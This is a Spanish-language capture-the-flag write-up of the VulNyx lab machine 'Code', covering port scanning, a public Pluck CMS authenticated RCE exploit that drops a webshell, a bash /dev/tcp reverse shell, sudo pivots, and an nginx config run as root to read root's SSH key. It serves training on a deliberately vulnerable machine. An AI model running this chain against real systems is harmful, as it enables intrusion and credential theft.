cd ~/blog

~/writeups/vulnyx/03-code.md

03 - Code

easy Linux vulnyx 14-04-2024
Pluck CMS 4.7.13 Authenticated RCE (EDB-ID 49909)sudo bash Privescsudo nginx config arbitrary file read
vulnyx.com

~1 min de lectura


Comenzamos con la enumeración de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.9
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.9
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-14 01:13 -04
Nmap scan report for 192.168.1.9
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.82 seconds

Enumeramos directorios con gobuster y descubrimos una instalación de Pluck CMS:

 gobuster dir -u 'http://192.168.1.9' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index.html           (Status: 200) [Size: 10701]
/pluck                (Status: 200) [Size: 859]
...

 gobuster dir -u 'http://192.168.1.9/pluck' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/images               (Status: 200) [Size: 758]
/index.php            (Status: 200) [Size: 859]
/login.php            (Status: 200) [Size: 1245]
/docs                 (Status: 200) [Size: 1738]
/files                (Status: 200) [Size: 756]
/data                 (Status: 200) [Size: 48]
/admin.php            (Status: 200) [Size: 3723]
/install.php          (Status: 200) [Size: 3732]
/robots.txt           (Status: 200) [Size: 47]
/requirements.php     (Status: 200) [Size: 3744]
...

Iniciamos sesión en el login con la contraseña admin y buscamos exploits para el CMS:

 searchsploit pluck cms
...
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) | php/webapps/49909.py
...

Lanzamos el exploit, que sube una webshell:

 python3 49909.py 192.168.1.9 80 admin /pluck
Authentification was succesfull, uploading webshell
Uploaded Webshell to: http://192.168.1.9:80/pluck/files/shell.phar

Accedemos a la webshell y desde ella lanzamos una reverse shell como www-data:

p0wny@shell:/home# bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"

 ncat -nlvp 1234
www-data@code:/home$

La escalada se hace en dos saltos sudo. Primero, www-data puede ejecutar bash como dave:

www-data@code:/home$ sudo -l
Matching Defaults entries for www-data on code:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on code:
    (dave) NOPASSWD: /usr/bin/bash

www-data@code:/home$ sudo -u dave bash'
dave@code:/home$

Obtenemos la flag de usuario. Revisamos los permisos de dave:

dave@code:/home$ sudo -l
Matching Defaults entries for dave on code:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dave may run the following commands on code:
    (root) NOPASSWD: /usr/sbin/nginx

Podemos ejecutar nginx como root. Creamos un archivo de configuración que levanta un servidor sirviendo todo el sistema de archivos (root /;), lo que efectivamente nos da lectura arbitraria con privilegios de root:

 cat nginx.conf
user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 4321;
        location / {
    root /;
    }

    }
}

Lo transferimos a la víctima, ejecutamos nginx con esa configuración y confirmamos que escucha en el puerto 4321:

dave@code:/tmp$ sudo nginx -c /tmp/nginx.conf
dave@code:/tmp$ ss -ltun
...
tcp   LISTEN 0      511          0.0.0.0:4321       0.0.0.0:*
...

Con un curl obtenemos la clave id_rsa de root:

 curl http://192.168.1.9:4321/root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----

La clave requiere passphrase, que encontramos en un archivo de configuración de Pluck:

...
//$ww = '$3cUr3_p4$$w0rD';
...

Nos conectamos como root:

 ssh root@192.168.1.9 -i id_rsa
Enter passphrase for key 'id_rsa': $3cUr3_p4$$w0rD
root@code:~#

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados